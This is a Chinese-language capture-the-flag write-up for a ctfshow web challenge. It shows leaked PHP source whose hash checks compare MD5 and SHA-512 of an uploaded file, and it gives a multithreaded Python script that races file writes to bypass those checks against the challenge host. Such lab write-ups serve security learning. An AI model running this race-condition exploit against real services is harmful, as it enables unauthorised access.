首先查看网页源代码
提交表单后会根据ctfshow函数进入check.php并传入参数token以及一个POST值,这里的token其实就是网页源代码中的:
扫目录发现了这些
解压web.zip可以获取check.php.bak文件
function receiveStreamFile($receiveFile){
$streamData = isset($GLOBALS['HTTP_RAW_POST_DATA'])? $GLOBALS['HTTP_RAW_POST_DATA'] : '';
if(empty($streamData)){
$streamData = file_get_contents('php://input');
}
if($streamData!=''){
$ret = file_put_contents($receiveFile, $streamData, true);
}else{
$ret = false;
}
return $ret;
}
if(md5(date("i")) === $token){
$receiveFile = 'flag.dat';
receiveStreamFile($receiveFile);
if(md5_file($receiveFile)===md5_file("key.dat")){
if(hash_file("sha512",$receiveFile)!=hash_file("sha512","key.dat")){
$ret['success']="1";
$ret['msg']="人脸识别成功!$flag";
$ret['error']="0";
echo json_encode($ret);
return;
}
$ret['errormsg']="same file";
echo json_encode($ret);
return;
}
$ret['errormsg']="md5 error";
echo json_encode($ret);
return;
}
$ret['errormsg']="token error";
echo json_encode($ret);
return;
此处定义的receiveStreamFile函数其实就是获取原始的 POST 数据流。而下面if(md5_file($receiveFile)===md5_file("key.dat")){
if(hash_file("sha512",$receiveFile)!=hash_file("sha512","key.dat")){
则是将获取的原始POST数据流的md5值与sha512值分别进行比较,md5值要相同,sha512值要不同。因此我们可以利用并发编程也就是多线程的方式来进行绕过。
Key.dat可以直接在url中输入来获得
Payload:
from datetime import datetime
import hashlib
import requests
import threading
current_time = datetime.now()
current_minute = current_time.minute
current_minute=str(current_minute)
token=hashlib.md5(current_minute.encode()).hexdigest()
key_url='https://afea67e8-5b97-45fe-8b16-bb5436c09f66.challenge.ctf.show/key.dat'
key=requests.get(key_url)
with open('key.dat','wb') as f:
f.write(key.content)
with open('key.dat','rb') as f:
data1=f.read()
data2='not me'
url='https://afea67e8-5b97-45fe-8b16-bb5436c09f66.challenge.ctf.show/check.php?token={}&php://input'.format(token)
def upload_data(data):
try:
response = requests.post(url, data=data)
if 'ctfshow' in response.text:
print(response.text)
print(response.text)
except Exception as e:
print("somthing went wrong!")
for i in range(50):
threading.Thread(target=upload_data, args=(data1,)).start()
for i in range(50):
threading.Thread(target=upload_data, args=(data2,)).start()
多线程指的是在同一个进程内,同时执行多个线程的能力。因此在多线程中我们先上传一个一模一样的key.dat,然后在极短的时间内利用多线程改变$receiveFile的值来实现绕过。